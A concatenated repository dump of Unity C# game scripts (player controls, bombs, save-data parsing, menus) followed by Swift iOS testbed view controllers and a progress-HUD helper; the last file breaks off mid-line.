RaycastHit hit; if(Physics.Raycast(transform.position,Vector3.down,out hit,1.01f)){ if (hit.collider.tag == "floor") { this.canJump = true; } } modelPlayer.transform.rotation = Quaternion.Lerp (modelPlayer.transform.rotation, playerModelRotation, rotatingSpeed * Time.deltaTime); if(knockbackTimer>0f){ knockbackTimer-=Time.deltaTime; } else{ processInput (); } } private void processInput(){ rb.velocity = new Vector3 (0f,rb.velocity.y,0f); if (Input.GetKey (KeyCode.LeftArrow)) { rb.velocity = new Vector3 (-moveVelocity, rb.velocity.y, rb.velocity.z); playerModelRotation = Quaternion.Euler (0f, 270f, 0f); } if (Input.GetKey (KeyCode.RightArrow)) { rb.velocity = new Vector3 (moveVelocity, rb.velocity.y, rb.velocity.z); playerModelRotation = Quaternion.Euler (0f, 90f, 0f); } if (Input.GetKey (KeyCode.UpArrow)) { rb.velocity = new Vector3 (rb.velocity.x, rb.velocity.y, moveVelocity); playerModelRotation = Quaternion.Euler (0f, 0f, 0f); } if (Input.GetKey (KeyCode.DownArrow)) { rb.velocity = new Vector3 (rb.velocity.x, rb.velocity.y, -moveVelocity); playerModelRotation = Quaternion.Euler (0f, 180f, 0f); } if (Input.GetKeyDown (KeyCode.Space) && canJump) { rb.velocity = new Vector3 (rb.velocity.x, jumpVelocity, rb.velocity.z); canJump = false; } //Checking for equipment interaction if (Input.GetKeyDown (KeyCode.X)) { sword.Attack (); sword.gameObject.SetActive (true); bow.gameObject.SetActive (false); } if (Input.GetKeyDown (KeyCode.Z)) { throwBomb (); } if (Input.GetKeyDown (KeyCode.C)) { if (arrowAmount <= 0) { return; } bow.Attack (); bow.gameObject.SetActive (true); sword.gameObject.SetActive (false); arrowAmount--; } } private void throwBomb(){ if (bombAmount <= 0) { return; } var b = Instantiate (bombPrefab); b.transform.position = transform.position + modelPlayer.transform.forward; //* throwingSpeed; Vector3 throwingDir = (modelPlayer.transform.forward + Vector3.up).normalized; b.GetComponent<Rigidbody> ().AddForce (throwingDir * throwingSpeed); bombAmount--; } public Vector3 respawn(){ transform.position = lastSpawn.position; return lastSpawn.position; } public void jumpAble(){ canJump = true; } public void renewSpawn(Vector3 newSpawn){ lastSpawn.position = newSpawn; } public void OnTriggerEnter(Collider col){ if (col.tag == "EnemyProyectile") { int dmg = col.GetComponent<Proyectile>().dmg; Vector3 knockback = (transform.position - col.transform.position).normalized; Vector3 knockbackDir = (knockback + Vector3.up*upForce).normalized; rb.velocity = new Vector3 (0f,0f,0f); Hit (dmg,knockbackDir); Destroy(col.gameObject); } } public void OnCollisionEnter(Collision col){ if (col.gameObject.tag == "Enemy") { int dmg = col.gameObject.GetComponent<Enemy>().dmg; Vector3 knockback = (transform.position - col.transform.position).normalized; Vector3 knockbackDir = (knockback + Vector3.up*upForce).normalized; rb.velocity = new Vector3 (0f,0f,0f); Hit (dmg,knockbackDir); } } public void Hit(int dmg, Vector3 knockbackDir){ this.rb.AddForce(knockbackDir * knockbackForce); knockbackTimer = knockbackTime; Debug.Log("OMG"); health-=dmg; if (health <= 0) { Destroy (gameObject); } } } <file_sep>/Library/Collab/Download/Assets/Plugins/DbPartidas.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class DbPartidas : MonoBehaviour { // Use this for initialization int id; string nombrePartida; string playerState; string fecha; //Vector3 position; string position; int exp; int lifes; int nArrows; int nBombs; string achievements; public DbPartidas(int id, string nombrePartida, string playerState, string fecha){ this.id = id; this.nombrePartida = nombrePartida; this.playerState = playerState; this.fecha = fecha; parsePlayerState(); } private void parsePlayerState(){ //string myString = "12,Apple,20"; Debug.Log(playerState); string[] subStrings = playerState.Split(':'); /* this.position = subStrings[0]; this.exp = int.Parse(subStrings[1]); this.lifes = int.Parse(subStrings[2]); this.nArrows = int.Parse(subStrings[3]); this.nBombs = int.Parse(subStrings[4]); this.achievements = subStrings[5];*/ } //sabe leer sus datos... } <file_sep>/Assets/Scripts/Game/Bomb.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class Bomb : MonoBehaviour { // Use this for initialization public float duration; public float radius; public float explosionDuration; public GameObject explosionModel; private float explosionTimer; private bool exploded; void Start () { explosionTimer = duration; explosionModel.SetActive(false); explosionModel.transform.localScale = Vector3.one * radius; exploded = false; } // Update is called once per frame void Update () { explosionTimer -= Time.deltaTime; if (explosionTimer <= 0f && !exploded) { exploded = true; Collider[] colliders =Physics.OverlapSphere (transform.position, radius); foreach (Collider c in colliders) { Debug.Log ("Ha chocado el tio con " + c.name+"\n"); if (((c.tag == "Enemy") || (c.tag == "enemyWeakPoint")) && c.GetComponent<Enemy>() != null) { c.GetComponent<Enemy> ().Hit (); } } StartCoroutine (doExplosion ()); } } private IEnumerator doExplosion(){ explosionModel.SetActive(true); yield return new WaitForSeconds (explosionDuration); explosionModel.SetActive(false); Destroy (this.gameObject); } } <file_sep>/Library/Collab/Download/Assets/Plugins/loaderGame.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class loaderGame : MonoBehaviour { // Use thi public GameObject[] partida; public SQLCommands bdein; public GameObject[] partidasBox; void Start() { /* foreach(GameObject obj in partidasBox){ obj.SetActive(false); } int i = 0; //establecer conexión a la base de datos y preguntar por todas las partidas (3 max) foreach (DbPartidas db in bdein.dbPartidas) { partidasBox[i].SetActive(true); partidasBox[i].GetComponentInChildren<Text>().text = "hola"; Debug.Log("HIII entre aqui!"); }*/ } } <file_sep>/Assets/Scripts/Menu/MenuSceneManager.cs using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; public class MenuSceneManager : MonoBehaviour { // Use this for initialization public void newGame () { SceneManager.LoadScene("Terrainy"); } public void loadGame(){ SceneManager.LoadScene("Loading"); } public void loadGameFromGame(){ //cerrarDb_ins(); SceneManager.LoadScene("Loading"); } public void mainMenu(){ SceneManager.LoadScene("MainMenu"); } public void testing(){ Debug.Log("works"); } public void exitGame(){ Application.Quit(); } } <file_sep>/Assets/Scripts/Menu/DbPartidas.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class DbPartidas : MonoBehaviour { // Use this for initialization public GameObject loadedData; public int id; public string nombrePartida; public string playerState; //statePlayer= pos:exp:vidas:flechas:bombas:logros //-> 0f,0f,0f:120:3:10:4:ninguno -> 6 campiños public string fecha; public bool ready; //Vector3 position; public Vector3 position; public int exp; public int health; public int nArrows; public int nBombs; public string achievements; private void Start() { DontDestroyOnLoad(this.gameObject); } public void construct(int id, string nombrePartida, string playerState, string fecha) { this.id = id; this.nombrePartida = nombrePartida; this.playerState = playerState; this.fecha = fecha; // parsePlayerState(); } public void parsePlayerState(){ //string myString = "12,Apple,20"; Debug.Log(playerState); } public Vector3 obtainPos(string pos_str){ string[] subStrings = pos_str.Split(','); return new Vector3(float.Parse(subStrings[0]),float.Parse(subStrings[1]),float.Parse(subStrings[2])); } public void debug(string datitos){ Debug.Log(/*"Mi id es: " + this.id +*/ "\n" + "Mi nombre partida es: " + this.nombrePartida + "\n" + "Mi player state es: " + this.playerState + "\n" + "Mi fecha es: " + this.fecha +"\n"+ "y mis datos extraidos son"+datitos); } public string infoPartida(){ return /*this.id + "-" */ this.nombrePartida + "-" + this.fecha; } public void saveData(){ DbPartidas dbp = loadedData.GetComponent<DbPartidas>(); //dbp.id = this.id; dbp.nombrePartida = "PartidaY";//this.nombrePartida; dbp.playerState = this.playerState; dbp.fecha = this.fecha; //parsePlayerState(); } //sabe leer sus datos... }
e0ee30f7797c94e3040bcce3d1a7757cb74b8c43
[ "Markdown", "C#" ]
34
C#
Kindraman/Ku
8a5600b5d97ef3c0b9091ff29db2cb2a6d338436
3d25062edba56a2aff7ed5a0b8fae18438b87483
refs/heads/main
<file_sep>// // LazyObject.swift // SwiftTestbed // // Created by firefly on 2020/11/13. // import Foundation struct Object { var x = 1 var y = 2 var z = 3 } struct LazyObject { lazy var x = 1 lazy var y = 2 lazy var z = 3 } enum Week { case sunday case monday case tuesday(Int) case wednesday case thursday case friday case saturday } <file_sep>// // DimPresentationVC.swift // SwiftTestbed // // Created by firefly on 2021/1/16. // import Foundation import UIKit class DimPresentationVC: UIPresentationController { var dimmingView: UIView = { let view = UIView(frame: CGRect(origin: CGPoint.zero, size: UIScreen.main.bounds.size)) view.backgroundColor = UIColor.black.withAlphaComponent(0.3) return view }() public override var frameOfPresentedViewInContainerView: CGRect { let width = UIScreen.main.bounds.width - 2 * 24 let height = width / 327 * 287 let y = UIScreen.main.bounds.height * 0.4 - height / 2 let frame = CGRect(x: 24, y: y, width: width, height: height) return frame } override func presentationTransitionWillBegin() { print("\(type(of: self)).\(#function)") self.containerView?.addSubview(dimmingView) dimmingView.addSubview(self.presentedViewController.view) let transitionCoordinator = self.presentingViewController.transitionCoordinator dimmingView.alpha = 0 transitionCoordinator?.animate(alongsideTransition: { (content) in self.dimmingView.alpha = 1 }, completion: { (context) in print("dimmingView alpha = 1") }) } override func presentationTransitionDidEnd(_ completed: Bool) { print("\(type(of: self)).\(#function)") } override func dismissalTransitionWillBegin() { print("\(type(of: self)).\(#function)") let transitionCoordinator = self.presentingViewController.transitionCoordinator dimmingView.alpha = 1 transitionCoordinator?.animate(alongsideTransition: { (content) in self.dimmingView.alpha = 0 }, completion: { (context) in print("dimmingView alpha = 0") }) } override func dismissalTransitionDidEnd(_ completed: Bool) { print("\(type(of: self)).\(#function)") if !completed { dimmingView.removeFromSuperview() } } deinit { print("\(type(of: self)).\(#function)") } } <file_sep>// // PopoverVC.swift // SwiftTestbed // // Created by firefly on 2020/12/8. // import Foundation import UIKit class PopoverVC: BaseViewController { lazy var addItem: UIBarButtonItem = { let item = UIBarButtonItem(barButtonSystemItem: .add, target: self, action: #selector(add)) return item }() var btn: UIButton! var items: IteamsVC! override func viewDidLoad() { super.viewDidLoad() addBarButtonItems() addButton() } func addBarButtonItems() { navigationItem.rightBarButtonItem = addItem } func addPopover() { let items = IteamsVC() items.preferredContentSize = CGSize(width: 80, height: 160) items.modalPresentationStyle = .popover let pop = items.popoverPresentationController pop?.delegate = self pop?.barButtonItem = addItem self.present(items, animated: true, completion: nil) } @objc func add() { print("\(type(of: self)).\(#function)") addPopover() } func addButton() { btn = UIButton(frame: CGRect(x: 60, y: 100, width: 100, height: 60)) btn.addTarget(self, action: #selector(popButton), for: UIControl.Event.touchUpInside) btn.backgroundColor = UIColor.green view.addSubview(btn) // 创建vc items = IteamsVC() // 设置弹出框的大小 items.preferredContentSize = CGSize(width: 80, height: 160) // 设置显示的样式为弹出框 items.modalPresentationStyle = .popover } @objc func popButton() { print("\(type(of: self)).\(#function)") // 获取vc的展示vc 并 设置该展示vc let pop = items.popoverPresentationController pop?.delegate = self pop?.sourceView = btn pop?.sourceRect = CGRect(x: 90, y: 50, width: 10, height: 10) pop?.backgroundColor = UIColor.orange print(pop?.popoverLayoutMargins as Any) // 显示vc self.present(items, animated: true, completion: nil) } } // 提供该方法,则不能呈现弹出框样式 extension PopoverVC: UIPopoverPresentationControllerDelegate { func adaptivePresentationStyle(for controller: UIPresentationController) -> UIModalPresentationStyle { return .none } } <file_sep>// // PayPasswordVC.swift // SwiftTestbed // // Created by firefly on 2021/1/16. // import Foundation import UIKit class PayPasswordVC: BaseViewController { var label: UILabel! override func viewDidLoad() { super.viewDidLoad() print("\(type(of: self)).\(#function)") creatUI() configUI() addUI() constraintUI() } func creatUI() { label = UILabel() } func configUI() { view.backgroundColor = .green view.layer.cornerRadius = 10 view.layer.masksToBounds = true } func addUI() { } func constraintUI() { } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { self.dismiss(animated: true, completion: nil) } } extension PayPasswordVC: UIViewControllerTransitioningDelegate { func presentationController(forPresented presented: UIViewController, presenting: UIViewController?, source: UIViewController) -> UIPresentationController? { print("\(type(of: self)).\(#function)") let presentationVC = DimPresentationVC(presentedViewController: presented, presenting: presenting) return presentationVC } } <file_sep>// // LazyLoadingVC.swift // SwiftTestbed // // Created by firefly on 2020/11/13. // import Foundation import UIKit class LazyLoadingVC: BaseViewController { override func viewDidLoad() { super.viewDidLoad() var lazyObject = LazyObject() var object = Object() title = "懒加载" if #available(iOS 11, *) { navigationItem.backButtonTitle = "" } print("object内存结构") print(MemoryLayout.size(ofValue: object)) print(MemoryLayout.alignment(ofValue: object)) print(MemoryLayout.stride(ofValue: object)) print("lazyObject内存结构") print(MemoryLayout.size(ofValue: lazyObject)) print(MemoryLayout.alignment(ofValue: lazyObject)) print(MemoryLayout.stride(ofValue: lazyObject)) print("lazyObject:", lazyObject) print("x:", lazyObject.x) print("y:", lazyObject.y) print("z:", lazyObject.z) print("lazyObject.z type:", type(of: lazyObject.z)) print("lazyObject内存结构") print(MemoryLayout.size(ofValue: lazyObject)) print(MemoryLayout.alignment(ofValue: lazyObject)) print(MemoryLayout.stride(ofValue: lazyObject)) print("end") } } <file_sep>// // Table.swift // SwiftTestbed // // Created by firefly on 2020/12/8. // import Foundation class Table<T> { var dataArray = [T]() } <file_sep>// // Team.swift // SwiftTestbed // // Created by firefly on 2020/11/16. // import Foundation struct Person: Codable { var id: Int var name: String var age: Int var isMale: Bool } struct Team: Codable { var master: Person var members: [Person] } <file_sep>// // File.swift // SwiftTestbed // // Created by itang on 2021/5/15. // import Foundation import UIKit /* 目标: 1、感知 ViewController 已经dismiss了 2、感知 ViewController 的返回按钮被点击了,然后决定是否要pop 显示: 1、在viewDidDisappear(_ animated:)中实现 2、 */ class BackActionVC: BaseViewController { override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { navigationController?.pushViewController(UIViewController(), animated: true) } override func viewDidLoad() { super.viewDidLoad() let popBarBtn = UIBarButtonItem(title: "pop", style: .plain, target: self, action: #selector(pop)) let presentBarBtn = UIBarButtonItem(title: "present", style: .plain, target: self, action: #selector(presentVC)) navigationItem.rightBarButtonItems = [popBarBtn, presentBarBtn] // 自定义左侧按钮后,视图控制器的返回手势就失效了 // navigationItem.leftBarButtonItem = UIBarButtonItem(title: "back", style: .plain, target: self, action: #selector(pop)) } @objc func pop() { /* pop vc时,不会触发navigationBar(_:shouldPop:) 右滑返回视图控制器时,不会触发navigationBar(_:shouldPop:) */ navigationController?.popViewController(animated: true) } @objc func presentVC() { /* pop vc时,不会触发navigationBar(_:shouldPop:) 右滑返回视图控制器时,不会触发navigationBar(_:shouldPop:) */ let vc = PVC() vc.modalPresentationStyle = .fullScreen self.present(vc, animated: true) } } <file_sep>// // SearchResultVC.swift // SwiftTestbed // // Created by itang on 2020/12/6. // import Foundation import UIKit class SearchResultVC: BaseViewController, UISearchResultsUpdating { override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = UIColor.orange // 用UIPresentationController来写一个简洁漂亮的底部弹出控件 // UIPopoverPresentationController // UIPresentationController } func updateSearchResults(for searchController: UISearchController) { print("\(type(of: self)).\(#function)") let frame = searchController.view.frame let newFrame = CGRect(x: 0, y: 100, width: frame.width, height: frame.height - 100) view.frame = newFrame view.isHidden = false } deinit { print("\(type(of: self)).\(#function)") } } <file_sep>// // PVC.swift // SwiftTestbed // // Created by itang on 2021/5/16. // import Foundation import UIKit class PVC: BaseViewController { override func viewDidLoad() { super.viewDidLoad() title = "被弹出的控制器A" view.backgroundColor = .orange let btn = UIButton(frame: CGRect(origin: .zero, size: CGSize(width: 100, height: 60))) btn.addTarget(self, action: #selector(presentVC), for: .touchUpInside) btn.setTitle("present VC", for: .normal) btn.center = view.center btn.backgroundColor = .gray view.addSubview(btn) } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { self.dismiss(animated: true) { print("PVC did dismiss") } } @objc func presentVC() { let vc = BaseViewController() vc.modalPresentationStyle = .fullScreen present(vc, animated: true) } } <file_sep>// // HUD.swift // SwiftTestbed // // Created by firefly on 2021/1/28. // import Foundation import UIKit import MBProgressHUD /// 状态指示器 /// 可显示在window上,可显示在指定的view上 /// 对于显示结果的hud,文字不宜过长,否则很丑。(待优化) /// 要在主线中操作:显示、切换、隐藏 class HUD { // 文本类的hud在父视图上的位置 enum Position { case top // 在顶部 case middle // 在中间 case bottom // 在底部 } //MARK: - 显示指示器 @discardableResult static func showIndicator(message: String = "") -> MBProgressHUD { let window = UIApplication.shared.windows.last let hud = showIndicator(message: message, in: window!) return hud } @discardableResult static func showIndicator(message: String = "", in view: UIView) -> MBProgressHUD { let hud = MBProgressHUD.showAdded(to: view, animated: true) hud.mode = .customView hud.label.text = message hud.isSquare = true // dim hud.backgroundView.style = .solidColor hud.backgroundView.color = UIColor(white: 0, alpha: 0.1) // 隐藏时从父视图上移除 hud.removeFromSuperViewOnHide = true; let indefinateView = SVIndefiniteAnimatedView(frame: CGRect(x: 0, y: 0, width: 80, height: 80)) indefinateView.strokeColor = .white; indefinateView.strokeThickness = 2 indefinateView.radius = 20 hud.customView = indefinateView // 文本颜色 hud.contentColor = .white // 背景色 hud.bezelView.style = .solidColor hud.bezelView.backgroundColor = .black return hud } //MARK: - 让指示器消失 static func hideIndicator(parentViewOrHud: UIView, animated: Bool = true) { var optionalHud: MBProgressHUD? if parentViewOrHud is MBProgressHUD { optionalHud = parentViewOrHud as? MBProgressHUD } else { optionalHud = MBProgressHUD.forView(parentViewOrHud) } guard let hud = optionalHud else { return } hud.hide(animated: animated) } // MARK: - 显示结果: 成功、失败、警告 // MARK: 转换到结果视图 static func switchToSuccess(text: String, for view: UIView, duration: TimeInterval = 3) { switchToResult(.success, text: text, for: view) } static func switchToFailure(text: String, for view: UIView, duration: TimeInterval = 3) { switchToResult(.failure, text: text, for: view) } static func switchToWaring(text: String, for view: UIView, duration: TimeInterval = 3) { switchToResult(.warning, text: text, for: view) } /// 从状态指示器切换到结果 /// - parameter resultType: 结果类型:成功、失败、警告 /// - parameter text: 提示信息 /// - parameter for: 要切换的视图,可能是状态指示器的父视图,可可能是状态指示器本身 /// - parameter duration: 切换后,结果视图显示的时间(单位为秒),默认为3s static func switchToResult(_ resultType: ResultType, text: String, for view: UIView, duration: TimeInterval = 3) { var optionalHud: MBProgressHUD? if view is MBProgressHUD { optionalHud = view as? MBProgressHUD } else { optionalHud = MBProgressHUD.forView(view) } guard let hud = optionalHud else { return } // 切换模式 hud.mode = .customView // 切换消息 hud.label.text = text // 切换到指定的结果 let image = HUD.resultImage(resultType) hud.customView = UIImageView(image: image) hud.hide(animated: true, afterDelay: duration) } // MARK: 显示在window上 static func showSuccess(text: String, duration: TimeInterval = 3) { showResult(.success, text: text, duration: duration) } static func showFailure(text: String, duration: TimeInterval = 3) { showResult(.failure, text: text, duration: duration) } static func showWarning(text: String, duration: TimeInterval = 3) { showResult(.warning, text: text, duration: duration) } static func showResult(_ resultType: ResultType, text: String, duration: TimeInterval = 3) { guard let window = UIApplication.shared.windows.last else { return } showResult(resultType, text: text, in: window, duration: duration) } // MARK: 显示指定视图上 static func showSuccess(text: String, in view: UIView, duration: TimeInterval = 3) { showResult(.success, text: text, in: view, duration: duration) } static func showFailure(text: String, in view: UIView, duration: TimeInterval = 3) { showResult(.failure, text: text, in: view, duration: duration) } static func showWarning(text: String, in view: UIView, duration: TimeInterval = 3) { showResult(.warning, text: text, in: view, duration: duration) } /* 在指定视图上显示指定时间的指定文字和结果 */ enum ResultType { case success case failure case warning } static func showResult(_ resultType: ResultType, text: String, in view: UIView, duration: TimeInterval = 3) { let hud = MBProgressHUD.showAdded(to: view, animated: true) hud.mode = .customView hud.label.text = text // 自定义视图 let image = resultImage(resultType) hud.customView = UIImageView(image: image) // 保持正方形 // hud.isSquare = true // 文本颜色 hud.contentColor = .white // 背景色 hud.bezelView.style = .solidColor hud.bezelView.backgroundColor = .black hud.hide(animated: true, afterDelay: duration) } static func resultImage(_ resultType: ResultType) -> UIImage? { let image: UIImage? switch resultType { case .success: image = UIImage(named: "Checkmark") case .failure: image = UIImage(named: "error") case .warning: image = UIImage(named: "info") } return image?.withRenderingMode(.alwaysTemplate) } // MARK: - 显示提示文字 // 在window指定的位置显示指定的时间 static func showText(_ text: String, at position: Position = .bottom, duration: TimeInterval = 3) { guard let window = UIApplication.shared.windows.last else { return } showText(text, at: position, in: window, duration: duration) } static func showText(_ text: String, at position: Position = .bottom, in parentView: UIView, duration: TimeInterval = 3) { let hud = MBProgressHUD.showAdded(to: parentView, animated: true) hud.mode = .text hud.label.text = text // 显示位置 let viewHeight = parentView.bounds.height let delta = viewHeight / 2 * 0.7 let offsetY: CGFloat switch position { case .top: offsetY = -delta case .middle: offsetY = 0 case .bottom: offsetY = delta } hud.offset = CGPoint(x: 0, y: offsetY) // 文本颜色 hud.contentColor = .white // 背景色 hud.bezelView.style = .solidColor hud.bezelView.backgroundColor = .black hud.margin = 10 // 调整提hud的高度 hud.hide(animated: true, afterDelay: duration) } } <file_sep>// // AppDelegate.swift // SwiftTestbed // // Created by firefly on 2020/11/12. // import UIKit @main class AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { // Override point for customization after application launch. self.window = UIWindow(frame: UIScreen.main.bounds) self.window?.backgroundColor = UIColor.white let tvc = TableViewController() let nvc = NavigationController(rootViewController: tvc) self.window?.rootViewController = nvc self.window?.makeKeyAndVisible() printItems() return true } func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool { // file:///private/var/mobile/Containers/Data/Application/63B17B7E-1C80-4B65-B3A2-459579FD6D7D/Documents/Inbox/test-1.txt // path: /var/mobile/Containers/Data/Application/D0E5544D-DD36-46D0-9C92-5C051870A95E/Documents/user print("in file:", url.absoluteString) return true } func printItems() { let homePath = NSHomeDirectory() let docPath = homePath + "/Documents" let path = docPath + "/Inbox/test" let enumerator = FileManager.default.enumerator(atPath: path) while let item = enumerator?.nextObject() as? String { print(item) } } static let path: String = { let homePath = NSHomeDirectory() let docPath = homePath + "/Documents" let userPath = docPath + "/user" return userPath }() } <file_sep>// // TableViewController.swift // SwiftTestbed // // Created by firefly on 2020/11/12. // import Foundation import UIKit class TableViewController: UITableViewController { fileprivate let cellReuseID = "cell" lazy var dataArray = [TestItem]() override func viewDidLoad() { super.viewDidLoad() configUI() setupData() tableView.reloadData() } func configUI() { tableView.register(UITableViewCell.self, forCellReuseIdentifier: cellReuseID) tableView.tableFooterView = UIView() } func setupData() { dataArray = [ TestItem(title: "元类型", type: MetatypeVC.self), TestItem(title: "懒加载", type: LazyLoadingVC.self), TestItem(title: "编码、解码、归档", type: CodableDemoVC.self), TestItem(title: "分页滑动", type: PageDemoVC.self), TestItem(title: "CollectionView", type: CollectionViewVC.self), TestItem(title: "泛型父类和具体子类", type: GenericsVC.self), TestItem(title: "搜索", type: ContainSearchBarVC.self), TestItem(title: "弹出框", type: PopoverVC.self), TestItem(title: "图文混排", type: ImageTextVC.self), TestItem(title: "WebviewVC", type: WebviewVC.self), TestItem(title: "过渡动画", type: PresetationDemoVC.self), TestItem(title: "无限转动动画", type: HUDVC.self), TestItem(title: "控制器返回事件", type: BackActionVC.self), ] } } extension TableViewController { override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { tableView.deselectRow(at: indexPath, animated: true) let testItem = dataArray[indexPath.row] let vc = testItem.type.init() self.navigationController?.pushViewController(vc, animated: true) } } extension TableViewController { override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return dataArray.count } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let testItem = dataArray[indexPath.row] let cell = tableView.dequeueReusableCell(withIdentifier: cellReuseID, for: indexPath) cell.textLabel?.text = testItem.title return cell } } <file_sep>// // Smiley.swift // SwiftTestbed // // Created by firefly on 2020/11/13. // import Foundation class Smiley { class var text: String { return ":)" } } class EmojiSmiley: Smiley { override class var text: String { return "😊" } } <file_sep>// // CollectionViewVC.swift // SwiftTestbed // // Created by firefly on 2020/11/23. // import Foundation import UIKit class CollectionViewVC: BaseViewController { // 三个button、一个collectionView var twoLevelCollectionView: UICollectionView! var collectionViewLayout: UICollectionViewLayout! let tableViewReuseID = "UITableViewCell" let collectionViewReuseID = "UICollectionViewCell" let headerReuseID = "headerReuseID" override func viewDidLoad() { super.viewDidLoad() creatUI() configUI() addUI() constraintUI() } // MARK: - UI 初步 func creatUI() { collectionViewLayout = UICollectionViewFlowLayout() // collectionViewLayout. twoLevelCollectionView = UICollectionView(frame: view.bounds, collectionViewLayout: collectionViewLayout) } func configUI() { configCollectionView() } func addUI() { view.addSubview(twoLevelCollectionView) } func constraintUI() { } // MARK: 细化 func configCollectionView() { // twoLevelCollectionView.backgroundColor = UIColor.lightGray twoLevelCollectionView.delegate = self twoLevelCollectionView.dataSource = self twoLevelCollectionView.register(UICollectionViewCell.self, forCellWithReuseIdentifier: collectionViewReuseID) twoLevelCollectionView.register(UICollectionReusableView.self, forSupplementaryViewOfKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "headerReuseID") } } // MARK: - collection view delegate extension CollectionViewVC: UICollectionViewDelegate, UICollectionViewDataSource { func numberOfSections(in collectionView: UICollectionView) -> Int { 1 } func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int { 10 } func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell { let cell = collectionView.dequeueReusableCell(withReuseIdentifier: collectionViewReuseID, for: indexPath) cell.contentView.backgroundColor = UIColor.gray return cell } func collectionView(_ collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, at indexPath: IndexPath) -> UICollectionReusableView { let header = collectionView.dequeueReusableSupplementaryView(ofKind: kind, withReuseIdentifier: headerReuseID, for: indexPath) header.backgroundColor = UIColor.red return header } } //extension CollectionViewVC: UICollectionViewDelegateFlowLayout { // func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize { // return CGSize(width: 60, height: 40) // } //} <file_sep>// // ImageTextVC.swift // SwiftTestbed // // Created by firefly on 2020/12/28. // import Foundation import UIKit class ImageTextVC: BaseViewController { var textVieW = UITextView(frame: CGRect(x: 30, y: 40, width: 340, height: 600)) override func viewDidLoad() { super.viewDidLoad() creatUI() configUI() addUI() constraintUI() } func creatUI() { navigationItem.rightBarButtonItem = UIBarButtonItem(title: "test", style: .plain, target: self, action: #selector(parse)) } func configUI() { view.backgroundColor = UIColor.groupTableViewBackground textVieW.backgroundColor = UIColor.white // textVieW.text = "asdfasdf asd fasdf j;ljas asdfja;ls j;lk asdf asfasdf jasdfasd;jfkas;djkf asd fsdffsadf asdf as dfj;lasdj as;ldjf;lkjl;j;k;kddd a " //图片表情 // //1. 生成一个图片的附件, Attachment:附件 // let attachMent = NSTextAttachment() // // //2. 使用NSTextAttachment将想要插入的图片作为一个字符处理,转换成NSAttributedString // attachMent.image = UIImage(named: "shop_bg") // // //3. 因为图片的大小是按照原图的尺寸, 所以要设置图片的bounds, 也就是大小 // attachMent.bounds = CGRect(x: 0, y: 100, width: 300, height: 200) // // //4. 将图片添加到富文本上 // let attachString = NSAttributedString(attachment: attachMent) // // //5. 把图片富文本转换成可变的富文本 // let mutiAttachString = NSMutableAttributedString(attributedString: attachString) // // //6. 调用富文本的对象方法 addAttributes(_ attrs: [String : Any] = [:], range: NSRange) // //来修改对应range范围中 attribute属性的 value值 // //这里是修改富文本所有文本的字体大小为textView里的文本大小 // mutiAttachString.addAttributes([NSAttributedString.Key.font: UIFont.systemFont(ofSize: 16)], range: NSMakeRange(0, attachString.length)) // // textVieW.attributedText = mutiAttachString } func addUI() { view.addSubview(textVieW) } func constraintUI() { } override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) { // insetText() insetImage() } //插入文字 func insetText() { //创建属性字符串 let attrStr = NSAttributedString(string: "美女", attributes: [NSAttributedString.Key.foregroundColor:UIColor.red]) let font = textVieW.font! //创建可变属性字符串 let attrMutableStr = NSMutableAttributedString(attributedString: textVieW.attributedText) //将图片属性字符串替换到可变属性字符串的某一个位置 //获取光标所在位置 let range = textVieW.selectedRange //替换属性字符串 attrMutableStr.replaceCharacters(in: range, with: attrStr) //显示属性字符串 textVieW.attributedText = attrMutableStr //将文字大小重置 textVieW.font = font //将光标设置回原来的位置 textVieW.selectedRange = NSRange(location: range.location + 2, length : 0) } //插入图片 func insetImage() { //创建图片属性字符串 let attachment = NSTextAttachment() attachment.image = UIImage(named: "shop_bg") let font = textVieW.font! attachment.bounds = CGRect(x: 0, y: 0, width: 300, height: 200) let attrImageStr = NSAttributedString(attachment: attachment) //创建可变属性字符串 let attrMutableStr = NSMutableAttributedString(attributedString: textVieW.attributedText) //将图片属性字符串替换到可变属性字符串的某一个位置 //获取光标所在位置 let range = textVieW.selectedRange //替换属性字符串 attrMutableStr.replaceCharacters(in: range, with: attrImageStr) //显示属性字符串 textVieW.attributedText = attrMutableStr //将文字大小重置 textVieW.font = font //将光标设置回原来的位置 textVieW.selectedRange = NSRange(location: range.location + 1, length : 0) } @objc func parse() { print("\(type(of: self)).\(#function)") textVieW.attributedText.enumerateAttributes(in: NSRange(location: 0, length: textVieW.attributedText.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (info, range, stop) in if let attachment = info[NSAttributedString.Key.attachment] as? NSTextAttachment{ print(attachment.image!) print(range) } print("\n") } print("text:", textVieW.text) } } <file_sep>// // ContainSearchBarVC.swift // SwiftTestbed // // Created by itang on 2020/12/6. // import Foundation import UIKit class ContainSearchBarVC: BaseViewController { var svc: UISearchController = { let rvc = SearchResultVC() let vc = UISearchController(searchResultsController: rvc) vc.hidesNavigationBarDuringPresentation = false vc.obscuresBackgroundDuringPresentation = false vc.searchResultsUpdater = rvc return vc }() override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = 